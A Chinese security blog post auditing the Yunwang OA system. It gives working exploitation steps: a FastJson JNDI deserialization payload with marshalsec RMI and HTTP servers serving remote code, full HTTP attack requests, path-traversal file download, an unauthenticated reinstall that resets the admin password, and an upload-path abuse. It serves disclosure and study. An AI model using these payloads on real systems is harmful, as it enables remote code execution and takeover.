云网OA代码审计

admin 2024年1月21日17:04:15评论23 views字数 2155阅读7分11秒阅读模式
FastJson Rce

项目中使用到的是fastjson1.2.37版本。

漏洞点在: 这里使用到了ParseObject方法。

com.cloudweb.oa.controller.updateUiSetup

云网OA代码审计

使用marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI监听。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#Exploit" 1389

云网OA代码审计

开一个python web服务。

python -m http.server 8000

payload如下:

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1389/Exploit", "autoCommit":true}}

请求包如下:

POST /oa//setup/updateUiSetup HTTP/1.1Host: 192.168.0.7:8096Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: skincode=lte; name=admin; pwd=; JSESSIONID=85F37A117572BE90EA4BA0ED10F77EF5Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 196uiSetup={"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1389/Exploit", "autoCommit":true}}

云网OA代码审计

可以看到接收到了uiSetup参数:

云网OA代码审计

最终反序列化执行:

云网OA代码审计

任意文件下载

功能点在模板列表这里,这里有一个下载文件的功能。

云网OA代码审计

点击下载抓包:

可以看到这里需要传递进去一个fileName的参数。

云网OA代码审计

定位到功能点如下:

com.cloudweb.oa.controller.ReportController

来到download方法。这里会发现它拼接的是你mysql的路径,所以我们将11.txt文件放到它的上级目录进行下载。

这里的路径是你在setup安装的时候那个路径。

云网OA代码审计

云网OA代码审计

可以看到成功下载:

云网OA代码审计

未授权+覆盖管理员密码

首先我们查看Spring Security的配置文件发现,setup路劲是直接放开权限的。

云网OA代码审计

那么我们是不是可以给他重装呢?

访问到setup目录,这里需要设置你服务器mysql的ip以及账号和密码。

云网OA代码审计

需要注意的是mysql默认不允许外网去访问的,所以需要去设置一下mysql这个库。

update user set host= '%' where user='root'

云网OA代码审计

然后将数据库导入进来即可。

 source C:UsersAdminredmoonoa.sql

现在我们就可以开始重装了,这里的没有改之前密码是123456,然后重装之后密码就变成111111了。

成功登录。

云网OA代码审计

鸡肋的任意文件上传

我们在setup的时候会发现可以设置上传文件的路径,经过测试发现我们可以设置一个网站跟目录然后进行访问。

这里我们将文件目录设置为:

C:UsersAdminDownloadsyimioa-oa_git8.0outembedweixinmessage

云网OA代码审计

点击设置进行保存。

然后选择系统里面有一个上传的配置,我们全部置空表示任何类型都可以上传。

云网OA代码审计

然后我们选择微信配置。

云网OA代码审计

这里有一个应用主页,将后面的路径复制出来。

云网OA代码审计

拼接到跟路径然后选择应用。

云网OA代码审计

选择代办流程,然后随便选择一个流程项目。

这里点击上传即可。

云网OA代码审计

上传文件之后的路径就是我们前面重装的时候设置的,他会生成一个FileUploadTmp目录。

可以看到文件名是通过时间戳 + 随机值来生成的。

前面10位就是时间戳后面是随机值。

云网OA代码审计

尝试访问:

云网OA代码审计

文件名我们无法控制所以有点鸡肋。

原文始发于微信公众号(Relay学安全):云网OA代码审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月21日17:04:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   云网OA代码审计https://cn-sec.com/archives/2414282.html

发表评论

匿名网友 填写信息